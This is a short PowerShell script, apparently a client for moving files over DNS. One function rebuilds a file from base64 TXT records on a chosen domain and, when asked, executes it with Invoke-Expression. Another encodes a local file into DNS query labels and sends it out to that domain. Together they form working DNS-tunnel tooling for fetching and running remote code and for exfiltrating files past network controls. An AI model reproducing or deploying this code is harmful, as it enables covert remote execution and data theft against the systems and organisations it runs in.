# Simple Powershell client, also runs on linux with Powershell Core
Function Get-DnsTxt {
    [CmdletBinding()] param(
        [string] $Domain
    )
    Try {
        return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
    } Catch [System.Management.Automation.CommandNotFoundException] {
        return dig +short $Domain TXT
    }
}

Function Get-DnsFile {
    [CmdletBinding()] param(
        [string] $FileName = $(Read-Host -Prompt 'Enter a FileName'),
        [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName'),
        [switch] $Execute,
        [switch] $Write,
        [string] $OutPath
    )
    $count = [int](Get-DnsTxt -Domain "$FileName.count.$DnsName")
    $file_base64 = ""
    For ($i=0; $i -le $count; $i++) {
        $file_base64 += (Get-DnsTxt -Domain "$FileName.$i.$DnsName")
    }
    "Base64 $file_base64"
    $file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
    "String $file_string"
    If ($Execute.IsPresent) {
        $file_string | Invoke-Expression
    } Else {
        $file_string | Out-String
    }
    If ($Write.IsPresent) {
        $file_string | Out-File -FilePath ($OutPath, $FileName)[!$OutPath]
    }
}

Function Push-DNSFile {
    [CmdletBinding()] param(
        [string] $FileName = $(Read-Host -Prompt 'Enter a Filename'),
        [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName')
    )
    $id = (Get-FileHash $FileName | Select-Object Hash | Format-Table -HideTableHeaders | Out-String).Trim()
    $id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($id)).Substring(0,6)
    $content_binary = Get-Content -Path $FileName -Encoding utf8
    $content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
    $i = 0
    While ($content_base64) {
        $url = "."+$i+"-"+$id+"u."+$DnsName
        $len = 63 - $url.Length
        if($len -le $content_base64.Length) {
            $content_part = $content_base64.Substring(0, $len)
            $content_base64 = $content_base64.Substring($len)
        } else {
            $content_part = $content_base64
            $content_base64 = $false
        }
        Get-DnsTxt -Domain ($content_part + $url)
        $i++
    }
}